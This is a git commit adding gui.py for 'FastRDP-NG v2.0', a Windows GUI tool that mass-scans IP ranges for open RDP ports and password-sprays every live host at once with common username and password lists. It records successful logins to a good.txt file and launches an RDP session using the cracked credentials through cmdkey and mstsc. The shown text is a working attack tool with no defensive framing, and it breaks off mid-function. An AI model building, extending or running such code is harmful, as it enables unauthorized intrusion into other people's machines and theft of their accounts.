v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output

This commit is contained in:
drjones
2026-05-05 19:04:35 -07:00
parent 41c6a9f768
commit 5ed73d4fea
18 changed files with 30724 additions and 0 deletions

891
gui.py Normal file
View File

@@ -0,0 +1,891 @@
"""
FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying.
Dark-themed, real-time progress, live host table, instant hit logging.
Streaming design: scan finds hosts → spray starts immediately (concurrent).
"""
import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog
import threading
import asyncio
import time
import os
import random
import sys
import subprocess
from typing import Set, Tuple, List
from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from ip_utils import parse_ranges_file, count_ips
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
RESULTS_DIR = os.path.join(BASE_DIR, "results")
WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists")
# ── Terminal ANSI helpers ────────────────────────────────
_TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
if _TERM:
try:
import ctypes
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
except Exception:
pass
def _c(code, text):
return f"{code}{text}\033[0m" if _TERM else text
# ── Color Palette ──────────────────────────────────────────
class Colors:
BG_DARK = "#1a1a2e"
BG_MID = "#16213e"
BG_LIGHT = "#0f3460"
ACCENT = "#00d2ff"
ACCENT2 = "#e94560"
GREEN = "#4ec94e"
RED = "#f44747"
ORANGE = "#ffa500"
YELLOW = "#dcdcaa"
TEXT = "#e0e0e0"
TEXT_DIM = "#888888"
HIT_BG = "#1a3a1a"
INPUT_BG = "#0d1117"
@dataclass
class ScanStats:
"""Live scanning statistics."""
checked: int = 0
total: int = 0
live: int = 0
hits: int = 0
rate: float = 0.0
start_time: float = 0.0
phase: str = "idle" # idle | scanning | spraying | done
class FastRDPGUI:
"""Polished Windows GUI for FastRDP-NG."""
def __init__(self):
self.root = tk.Tk()
self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner")
self.root.geometry("1100x820")
self.root.minsize(950, 700)
self.root.configure(bg=Colors.BG_DARK)
# State
self.scanning = False
self.stats = ScanStats()
self.live_hosts: Set[Tuple[str, int]] = set()
self.hits: List[Tuple[str, int, str, str]] = []
self.host_items: dict = {} # (ip,port) -> treeview item id
self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt")
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
self._spray_queue: asyncio.Queue = None
os.makedirs(RESULTS_DIR, exist_ok=True)
os.makedirs(WORDLISTS_DIR, exist_ok=True)
self._setup_styles()
self._build_ui()
self._update_stats_display()
self.root.protocol("WM_DELETE_WINDOW", self._on_close)
def _setup_styles(self):
style = ttk.Style()
style.theme_use("clam")
style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT,
fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10))
style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT,
darkcolor=Colors.BG_MID)
style.configure("TLabelframe.Label", background=Colors.BG_MID,
foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold"))
style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT,
bordercolor=Colors.ACCENT, focuscolor="none",
font=("Segoe UI", 10, "bold"))
style.map("TButton", background=[("active", Colors.ACCENT),
("disabled", Colors.BG_MID)],
foreground=[("disabled", Colors.TEXT_DIM)])
style.configure("Accent.TButton", background=Colors.ACCENT,
foreground=Colors.BG_DARK)
style.map("Accent.TButton", background=[("active", "#00e5ff"),
("disabled", Colors.BG_MID)])
style.configure("Danger.TButton", background=Colors.ACCENT2,
foreground="white")
style.map("Danger.TButton", background=[("active", "#ff6b81"),
("disabled", Colors.BG_MID)])
style.configure("Connect.TButton", background=Colors.GREEN,
foreground=Colors.BG_DARK)
style.map("Connect.TButton", background=[("active", "#5ddc5d"),
("disabled", Colors.BG_MID)])
style.configure("TEntry", fieldbackground=Colors.INPUT_BG,
foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT)
style.configure("Horizontal.TScale", background=Colors.BG_DARK,
troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT)
style.configure("TCheckbutton", background=Colors.BG_DARK,
foreground=Colors.TEXT)
style.map("TCheckbutton", background=[("active", Colors.BG_DARK)])
style.configure("Treeview", background=Colors.INPUT_BG,
foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG,
bordercolor=Colors.BG_MID, font=("Consolas", 9))
style.configure("Treeview.Heading", background=Colors.BG_LIGHT,
foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold"))
style.map("Treeview", background=[("selected", Colors.BG_LIGHT)])
def _build_ui(self):
header = tk.Frame(self.root, bg=Colors.BG_MID, height=50)
header.pack(fill="x")
header.pack_propagate(False)
tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15)
tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray",
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
self.notebook = ttk.Notebook(self.root)
self.notebook.pack(fill="both", expand=True, padx=5, pady=5)
self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ")
self._build_scanner_tab()
self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
self._build_results_tab()
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
self._build_settings_tab()
# ── TAB 1: SCANNER ─────────────────────────────────────
def _build_scanner_tab(self):
left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380)
left.pack(side="left", fill="y", padx=(0, 5))
left.pack_propagate(False)
right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK)
right.pack(side="right", fill="both", expand=True)
# ── LEFT PANEL ──
targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8)
targets_frame.pack(fill="x", pady=(0, 5))
ttk.Label(targets_frame, text="Ranges File:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2)
self.ranges_entry = ttk.Entry(targets_frame, width=30)
self.ranges_entry.insert(0, self.ranges_file)
self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew")
btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID)
btn_row.grid(row=0, column=2, padx=(0, 0))
ttk.Button(btn_row, text="\U0001f4c2", width=3,
command=self._browse_ranges).pack(side="left")
ttk.Button(btn_row, text="\u2795", width=3,
command=self._quick_add_ip).pack(side="left", padx=(2, 0))
ttk.Label(targets_frame, text="Users File:",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2)
self.users_entry = ttk.Entry(targets_frame, width=30)
self.users_entry.insert(0, self.users_file)
self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("users")).grid(row=1, column=2)
ttk.Label(targets_frame, text="Passwords File:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2)
self.pass_entry = ttk.Entry(targets_frame, width=30)
self.pass_entry.insert(0, self.passwords_file)
self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew")
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
command=lambda: self._browse_file("passwords")).grid(row=2, column=2)
targets_frame.columnconfigure(1, weight=1)
# -- Speed / Performance --
perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8)
perf_frame.pack(fill="x", pady=(0, 5))
ttk.Label(perf_frame, text="Concurrent Connections:",
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w")
self.speed_var = tk.IntVar(value=5000)
speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
speed_frame.grid(row=0, column=1, padx=5, sticky="ew")
speed_scale = ttk.Scale(speed_frame, from_=500, to=25000,
variable=self.speed_var, orient="horizontal",
length=180)
speed_scale.pack(side="left", fill="x", expand=True)
self.speed_label = tk.Label(speed_frame, text="5,000",
fg=Colors.ACCENT, bg=Colors.BG_MID,
font=("Consolas", 9, "bold"), width=6)
self.speed_label.pack(side="left", padx=(5, 0))
speed_scale.configure(command=lambda v: self.speed_label.config(
text=f"{int(float(v)):,}"))
ttk.Label(perf_frame, text="Connect Timeout (s):",
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0))
self.timeout_var = tk.DoubleVar(value=2.0)
timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0,
increment=0.5, textvariable=self.timeout_var,
width=8)
timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w")
ttk.Label(perf_frame, text="Scan Ports:",
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0))
ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True)}
for i, (port, var) in enumerate(self.port_vars.items()):
tk.Checkbutton(ports_frame, text=str(port), variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT).pack(side="left", padx=2)
perf_frame.columnconfigure(1, weight=1)
# -- Controls --
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
ctrl_frame.pack(fill="x", pady=(0, 5))
btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
btn_frame.pack(fill="x")
self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN",
style="Accent.TButton",
command=self._start_scan, width=16)
self.start_btn.pack(side="left", padx=(0, 5))
self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP",
style="Danger.TButton",
command=self._stop_scan, state="disabled",
width=10)
self.stop_btn.pack(side="left", padx=(0, 5))
ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8,
command=self._clear_results).pack(side="left")
spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
spray_opts.pack(fill="x", pady=(8, 0))
self.spray_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)",
variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT,
font=("Segoe UI", 9, "bold")).pack(side="left")
self.randomize_var = tk.BooleanVar(value=True)
tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize",
variable=self.randomize_var, fg=Colors.TEXT_DIM,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False)
stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID)
stats_grid.pack(fill="x")
self._metric_labels = {}
self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW)
self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM)
self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN)
self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2)
self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT)
self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE)
for col in range(3):
stats_grid.columnconfigure(col, weight=1, uniform="metric")
# ── RIGHT PANEL ──
hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]",
padding=3)
hosts_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "status", "username", "password")
self.host_tree = ttk.Treeview(hosts_frame, columns=columns,
show="headings", height=6)
headings = [("ip", "IP Address", 150), ("port", "Port", 55),
("status", "Status", 140),
("username", "Username", 110), ("password", "Password", 120)]
for col, text, width in headings:
self.host_tree.heading(col, text=text)
self.host_tree.column(col, width=width)
# Double-click to RDP connect
self.host_tree.bind("<Double-1>", self._on_host_double_click)
scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical",
command=self.host_tree.yview)
self.host_tree.configure(yscrollcommand=scroll_y.set)
self.host_tree.pack(side="left", fill="both", expand=True)
scroll_y.pack(side="right", fill="y")
# RDP Connect button bar
rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35)
rdp_bar.pack(fill="x", pady=(0, 3))
rdp_bar.pack_propagate(False)
ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)",
style="Connect.TButton",
command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3)
ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)",
command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3)
self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect",
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
font=("Segoe UI", 8))
self.rdp_status.pack(side="right", padx=10)
# -- Event log --
log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3)
log_frame.pack(fill="both", expand=True)
self.log_text = scrolledtext.ScrolledText(
log_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
relief="flat", borderwidth=0
)
self.log_text.pack(fill="both", expand=True)
self.log_text.tag_configure("hit", foreground=Colors.GREEN,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("info", foreground="#79c0ff")
self.log_text.tag_configure("error", foreground=Colors.RED)
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
def _make_metric(self, parent, label, value, row, col, color):
frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color,
highlightthickness=1, padx=8, pady=5)
frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew")
tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG,
font=("Segoe UI", 7)).pack()
metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG,
font=("Consolas", 14, "bold"))
metric_label.pack()
key = label.lower().replace(" ", "_")
self._metric_labels[key] = metric_label
# ── TAB 2: RESULTS ─────────────────────────────────────
def _build_results_tab(self):
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
hit_frame.pack(fill="both", expand=True, pady=(0, 3))
columns = ("ip", "port", "username", "password", "timestamp")
self.hit_tree = ttk.Treeview(hit_frame, columns=columns,
show="headings", height=10)
headings = [("ip", "IP Address", 160), ("port", "Port", 60),
("username", "Username", 130), ("password", "Password", 130),
("timestamp", "Found At", 150)]
for col, text, width in headings:
self.hit_tree.heading(col, text=text)
self.hit_tree.column(col, width=width)
# Double-click hit to RDP connect
self.hit_tree.bind("<Double-1>", self._on_hit_double_click)
scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical",
command=self.hit_tree.yview)
self.hit_tree.configure(yscrollcommand=scroll_y2.set)
self.hit_tree.pack(side="left", fill="both", expand=True)
scroll_y2.pack(side="right", fill="y")
out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3)
out_frame.pack(fill="both", expand=True)
btn_row = tk.Frame(out_frame, bg=Colors.BG_MID)
btn_row.pack(fill="x", pady=(0, 3))
ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left")
ttk.Button(btn_row, text="\U0001f4c2 Open File",
command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt"))
if hasattr(os, 'startfile') else None).pack(side="left", padx=5)
self.good_text = scrolledtext.ScrolledText(
out_frame, font=("Consolas", 9), height=8,
bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0
)
self.good_text.pack(fill="both", expand=True)
# ── TAB 3: SETTINGS ────────────────────────────────────
def _build_settings_tab(self):
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
nb = ttk.Notebook(editor_frame)
nb.pack(fill="both", expand=True)
for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"),
("Ranges", "ranges")]:
tab = tk.Frame(nb, bg=Colors.INPUT_BG)
nb.add(tab, text=f" {name} ")
text_widget = scrolledtext.ScrolledText(
tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT,
relief="flat", borderwidth=0
)
text_widget.pack(fill="both", expand=True, padx=2, pady=2)
fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt")
if os.path.exists(fpath):
with open(fpath, 'r', errors='ignore') as f:
content = f.read()
text_widget.insert("1.0", content)
setattr(self, f"{file_key}_editor", text_widget)
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
about_frame.pack(fill="x")
tk.Label(about_frame,
text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n"
"Built with Python 3.11 + asyncio\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"Double-click any host to RDP connect instantly\n"
"Top 50 password spraying \u2022 CIDR/range support",
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
# ── METRICS UPDATE ─────────────────────────────────────
def _update_stats_display(self):
s = self.stats
elapsed = time.time() - s.start_time if s.start_time > 0 else 0
labels_map = {
"checked": f"{s.checked:,}",
"total": f"{s.total:,}",
"live": f"{s.live}",
"hits": f"{s.hits}",
"rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s",
"elapsed": f"{elapsed:.0f}s" if elapsed < 60
else f"{elapsed/60:.1f}m"
}
for key, text in labels_map.items():
if key in self._metric_labels:
lbl = self._metric_labels[key]
try:
lbl.config(text=text)
except tk.TclError:
pass
self.root.after(500, self._update_stats_display)
# ── LOGGING ────────────────────────────────────────────
def _log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
tag_colors = {
"hit": "\033[92m",
"info": "\033[94m",
"error": "\033[91m",
"scan": "\033[93m",
"system": "\033[90m",
}
color = tag_colors.get(tag, "\033[97m")
try:
print(f" {color}[{ts}]\033[0m {msg}", flush=True)
except OSError:
pass
# ── RDP CONNECT FEATURE ────────────────────────────────
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
"""Launch Windows mstsc (or store creds + launch) for given host."""
ts = time.strftime("%H:%M:%S")
try:
if username and password:
# Store credential in Windows Credential Manager for this session
# Then mstsc can use it automatically
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
if os.path.exists(cmdkey_path):
proc = subprocess.run(
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
capture_output=True, timeout=5,
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system")
else:
self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system")
# Launch mstsc
mstsc_path = r"C:\Windows\System32\mstsc.exe"
if os.path.exists(mstsc_path):
rdp_target = f"/v:{ip}:{port}"
subprocess.Popen(
[mstsc_path, rdp_target],
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit")
self.rdp_status.config(text=f"RDP: {ip}:{port}")
print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}"))
else:
self._log("\u274c mstsc.exe not found! Are you on Windows?", "error")
except Exception as e:
self._log(f"\u274c RDP error: {e}", "error")
def _rdp_connect_selected(self):
"""RDP connect to the currently selected host in the tree."""
sel = self.host_tree.selection()
if not sel:
self.rdp_status.config(text="No host selected!")
return
item = sel[0]
vals = self.host_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[3] if len(vals) > 3 else ""
pwd = vals[4] if len(vals) > 4 else ""
self._rdp_connect(ip, port, user, pwd)
def _on_host_double_click(self, event):
self._rdp_connect_selected()
def _on_hit_double_click(self, event):
sel = self.hit_tree.selection()
if not sel:
return
item = sel[0]
vals = self.hit_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[2] if len(vals) > 2 else ""
pwd = vals[3] if len(vals) > 3 else ""
self._rdp_connect(ip, port, user, pwd)
def _quick_rdp_dialog(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick RDP Connect")
dialog.geometry("380x200")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5))
frame = tk.Frame(dialog, bg=Colors.BG_DARK)
frame.pack(pady=5)
tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5)
ip_entry = ttk.Entry(frame, width=30)
ip_entry.grid(row=0, column=1, padx=5, pady=2)
tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5)
port_entry = ttk.Entry(frame, width=10)
port_entry.insert(0, "3389")
port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2)
tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5)
user_entry = ttk.Entry(frame, width=30)
user_entry.grid(row=2, column=1, padx=5, pady=2)
def connect():
ip = ip_entry.get().strip()
port_str = port_entry.get().strip()
port = int(port_str) if port_str.isdigit() else 3389
user = user_entry.get().strip()
self._rdp_connect(ip, port, user)
dialog.destroy()
ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton",
command=connect).pack(pady=10)
# ── HELPERS ────────────────────────────────────────────
def _browse_ranges(self):
path = filedialog.askopenfilename(
title="Select ranges file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
self.ranges_entry.delete(0, "end")
self.ranges_entry.insert(0, path)
def _browse_file(self, which: str):
path = filedialog.askopenfilename(
title=f"Select {which} file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
entry = getattr(self, f"{which}_entry", None)
if entry:
entry.delete(0, "end")
entry.insert(0, path)
def _quick_add_ip(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick Add IP")
dialog.geometry("350x120")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Enter IP, range, or CIDR:",
fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).pack(pady=(10, 5))
entry = ttk.Entry(dialog, width=45)
entry.pack(pady=5)
entry.focus()
def add():
ip = entry.get().strip()
if ip:
rp = self.ranges_entry.get().strip()
if rp:
try:
with open(rp, 'a') as f:
f.write(f"\n{ip}")
self._log(f"\u2795 Added target: {ip}", "system")
except OSError as e:
self._log(f"\u274c Failed to write: {e}", "error")
else:
self._log("\u274c No ranges file path set!", "error")
dialog.destroy()
ttk.Button(dialog, text="Add Target", command=add).pack()
def _refresh_good(self):
self.good_text.delete("1.0", "end")
good_path = os.path.join(RESULTS_DIR, "good.txt")
if os.path.exists(good_path):
with open(good_path, 'r') as f:
self.good_text.insert("1.0", f.read())
def _update_host_status(self, ip, port, status, user="", pwd=""):
"""Update the status of a host in the treeview."""
key = (ip, port)
if key in self.host_items:
item_id = self.host_items[key]
self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd:
self.host_tree.item(iid, values=(ip, str(port), s, u, pw)))
else:
# New host - insert row
self.root.after(0, lambda i=ip, p=port, s=status:
self._insert_host(i, p, s))
def _insert_host(self, ip, port, status):
item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", ""))
self.host_items[(ip, port)] = item_id
# ── SCAN LOGIC ─────────────────────────────────────────
def _start_scan(self):
if self.scanning:
return
self.scanning = True
self.start_btn.config(state="disabled")
self.stop_btn.config(state="normal")
self.stats = ScanStats(start_time=time.time(), phase="scanning")
for item in self.host_tree.get_children():
self.host_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self._log("\u2501" * 55, "system")
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
thread = threading.Thread(target=self._scan_worker, daemon=True)
thread.start()
def _stop_scan(self):
self.scanning = False
self._log("\u25a0 STOP signal sent (finishing current batch)", "error")
def _clear_results(self):
for item in self.host_tree.get_children():
self.host_tree.delete(item)
for item in self.hit_tree.get_children():
self.hit_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self.log_text.delete("1.0", "end")
self.stats = ScanStats()
def _load_wordlists(self):
"""Load usernames and passwords from files (or use defaults)."""
usernames = TOP_USERNAMES
passwords = TOP50_PASSWORDS
uf = self.users_entry.get().strip()
if os.path.exists(uf):
with open(uf, 'r', errors='ignore') as f:
cu = [l.strip() for l in f if l.strip()]
if cu:
usernames = cu
pf = self.pass_entry.get().strip()
if os.path.exists(pf):
with open(pf, 'r', errors='ignore') as f:
cp = [l.strip() for l in f if l.strip()]
if cp:
passwords = cp
return usernames, passwords
def _scan_worker(self):
"""Background thread: scan + spray run CONCURRENTLY."""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
ranges_path = self.ranges_entry.get().strip()
if not os.path.exists(ranges_path):
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
self._scan_done()
return
self._log("\U0001f4ca Counting targets...", "system")
total_ips = count_ips(ranges_path)
self.stats.total = total_ips
ips = list(parse_ranges_file(ranges_path))
if not ips:
self._log("\u274c No valid IPs found in ranges file!", "error")
self._scan_done()
return
if self.randomize_var.get():
random.shuffle(ips)
active_ports = [p for p, v in self.port_vars.items() if v.get()]
if not active_ports:
active_ports = [3389]
speed = self.speed_var.get()
timeout = self.timeout_var.get()
self.stats.total = len(ips) * len(active_ports)
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
f"({speed:,} concurrent)", "system")
print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports"))
print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s"))
print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found"))
print(_c("\033[90m", " [+] " + "\u2500" * 55))
# Load wordlists now (in the background thread, before async loop)
usernames, passwords = self._load_wordlists()
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
# ── Streaming design ─────────────────────────────
# Scan calls live_callback immediately for each live host.
# The callback adds the host to a queue, and spray tasks
# are created as they arrive — all within the same loop.
spray_tasks = []
def on_live_host(ip: str, port: int):
"""Called IMMEDIATELY from the scanner when a host is found."""
if not self.scanning:
return
self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts)
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if self.spray_var.get():
# Create an asyncio task for this host's spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
spray_tasks.append(task)
def progress_cb(checked, total, found, rate):
if not self.scanning:
return
self.stats.checked = checked
self.stats.live = found
self.stats.rate = rate
# Run scan — live_callback fires immediately for each live host
scan_task = asyncio.create_task(
scan_ips(
ips, ports=active_ports,
max_concurrent=speed,
connect_timeout=timeout,
banner_check=False,
progress_callback=progress_cb,
